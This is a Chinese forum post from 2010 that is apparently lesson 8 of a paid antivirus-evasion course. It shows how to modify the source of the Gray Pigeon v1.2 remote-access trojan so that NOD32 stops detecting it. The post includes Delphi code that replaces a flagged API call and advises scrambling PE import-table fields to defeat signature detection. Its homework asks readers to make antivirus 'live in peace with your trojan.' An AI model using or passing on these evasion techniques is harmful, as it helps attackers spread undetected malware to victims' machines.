|
发表于 2010-2-28 12:28:25
|显示全部楼层
【教程题目】第8讲:详解重写灰鸽子1.2被杀源码NOD32高启发篇
【教程目的】 重写被杀代码
【教程说明】由于有会员提意见:我是删代码。加上也是最后几节课了,所以
我讲点深一点的了, 新手可能会看不懂,多看几遍吧!
【教程工具】delphi 7.0,灰鸽子V1.2源代码
【编译环境】windowsXP SP3
【教程计划】
============================================================
分析:首先要了解NOD32查毒原理:NOD32通过PE头寻找数据段,计算
并寻找指针指示位置,再找到导入表函数,所以你单纯的移动函数对NOD32没
有效果。
杀的源码地方:
1. 杀在了远程用户名的地方WNetGetUserA
对付NOD32普通的修改还不行,要把这个WNetGetUser这个API函数换掉,
但是要保证这个功能能够正常使用,所以只有重新写代码了。
重写代码如下:
1. var
2. pcUser : PChar;
3. dwUSize : DWORD;
4. begin
5. dwUSize := 21;
6. result:='';
7. GetMem( pcUser, dwUSize );
8. try
9. if Windows.GetUserName( pcUser, dwUSize ) then
10. Result := pcUser
11. finally
12. FreeMem( pcUser );
13. end;
14. end;
2.重写被杀服务端代码后,拖到NOD32虚拟机里查毒,报未知PE病毒。
为什么报未知病毒呢?因为NOD32是基因查杀的。所有灰鸽子都有基因家
族类的。这处我就不讲了,家族基因特征码,要使用汇编来修改!
一招搞定NOD32
修改:就是把OriginalFirstThunk等等00000000改为其他的 比如
00000001,打乱它。
好了,搞定了吧,教程结束,大家再见!
============================================================
【课后作业】
思考加实践!让杀毒软件和你的木马和平相处吧!!
甲壳虫免杀VIP教程 vip.jksing.com |
|